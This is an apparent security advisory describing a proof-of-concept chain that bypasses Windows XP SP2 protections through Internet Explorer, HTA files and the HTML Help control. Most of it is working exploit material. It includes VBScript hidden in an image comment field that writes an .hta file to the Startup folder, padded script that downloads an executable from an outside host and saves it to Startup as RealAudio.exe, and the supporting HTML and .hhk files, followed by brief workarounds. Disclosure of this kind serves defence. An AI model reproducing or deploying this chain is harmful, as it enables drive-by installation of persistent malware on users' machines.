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| This article follows http-equiv's last article on the subject of exploiting Windows SP2 using Drag and Drop with .hta files to execute arbitrary code on Local Zone. In this article a detailed proof of concept shows the vulnerability. |
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Credit:
The information has been provided by Michael Evanchik.
The original article can be found at: http://www.michaelevanchik.com/kara/scrolll/notagain.txt
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It is possible to execute machine code with a series of html commands on an Windows XP SP2 system. Its getting harder and harder these days so be ready for a long confusing paper.
Running the Proof of Concept:
* All files for the proof of concept can be found here: http://www.michaelevanchik.com/kara/scrolll/files.zip
* Open the index html: http://www.michaelevanchik.com/kara/scrolll/index.html (or the one in files.zip)
* Scroll down on this webpage and click the display button as directed.
* You will then notice an .hta file in your: start > programs > start up > real sceduler.hta
* That's it! Every time 'real sceduler.hta' runs, our code runs on Local Zone.
How it Works:
1. malwarez6.mcb:
* Create a image file with the source code that http-equiv provided (shown below) into a comment section on a image file. In Photoshop it can be done by: file menu > file info > comment field. And paste the source code below.
Here is http-equiv's code, it was modified to inject the hta file into start up instead.
malwarez6.mcb comment source:
<script language="vbs">
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://arite.zapto.org;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\real scheduler.hta", adPersistXML
rs.close
conn.close
</script>
Note: There is one thing you need to know about this code. Oddly, select * from foobar.txt not only runs a GET command for foobar.txt on the web server, it also logs in anonymous to a FTP server on the same host. If your server does not allow both, the vulnerability will not work.
* Save the file as a jpeg. Rename it to malwarez6.mcb
2. foobar.txt:
This was the most difficult part. From the information http-equiv gave us, it seems this vulnerability could have been dismissed since you could not fit enough scriptable code into the hta file without the script compiler erroring due to binary asci code messing up the vbscript. What was uncovered is this text file needed to be in a comma delimited format. Not only that each side of each line of code needed to be padded with a dummy variable to keep the code "alive" so it would not error. Notice the variable "crap" and the first and last lines where also dummies which the code would not have worked without. HTA files are still a big hole for Microsoft. All the patching they have done to exploits, and the creation of XP Service Pack 2 was gods sent, but yet HTA files do not apply to ANY of these new features. So in the end it's simply the matter of putting an old and easy exe running exploit inside this hta file.
foobar.txt source:
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RealAudio.exe"",2 : crap="""
"""</script> crap="""
3. index.html:
Notice the following key code: <img id="dyn" src="malwarez6.mcb" border="0">
According to http-equiv's post he was using a file with no extension. This did not work for Michael Evanchik on his IIS server so an unused extension that was used (.mcb). From there in IIS management console this mime type was added manually (.mcb text/html) entry. This image now gets by Microsoft's patch of not allowing executable content to be "draggable". Microsoft seems to check (no matter what extension of the file, or content type your http server sends) the file internally to see if it is not an executable file.
4. cigar.hhk:
The code in this file is self explanatory:
<OBJECT type="text/site properties">
<param name="WindowName" value="$global_blank">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="click display at bottom of page">
<param name="Local" value="C:\WINDOWS\PCHealth\malwarez6[1].htm">
<param name="WindowName" value="$global_blank">
</OBJECT>
</UL>
5. frame.html:
Most somewhat self explanatory, though note the following code:
<OBJECT style="height:650" style="width:250"id="hhctrl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"codebase="hhctrl.ocx#Version=5,2,3790,1194"width=7% height=7% style="position:absolute;top:140;left:72;z-index:100;">
<PARAM name="Command" value="Index">
<PARAM name="Item1" value="cigar.hhk">click me
</OBJECT>
Unfortunately, this object cannot be auto clicked with hhctrl.click(), so for now this is the only user intervention part. But when a user click this object, it runs the html file in local zone, bypassing XP Service pack 2 for the second time in this exploit.
6. hhtctrl.ocx:
The hhtctrl.ocx should be uploaded for computers that dont happen to have this control. All XP's seem to have this by default, some win2k3's do not.
Workarounds:
* Disable hta files.
* Disable scripting in Internet Explorer
* Do not use Internet Explorer, use Mozilla Firefox
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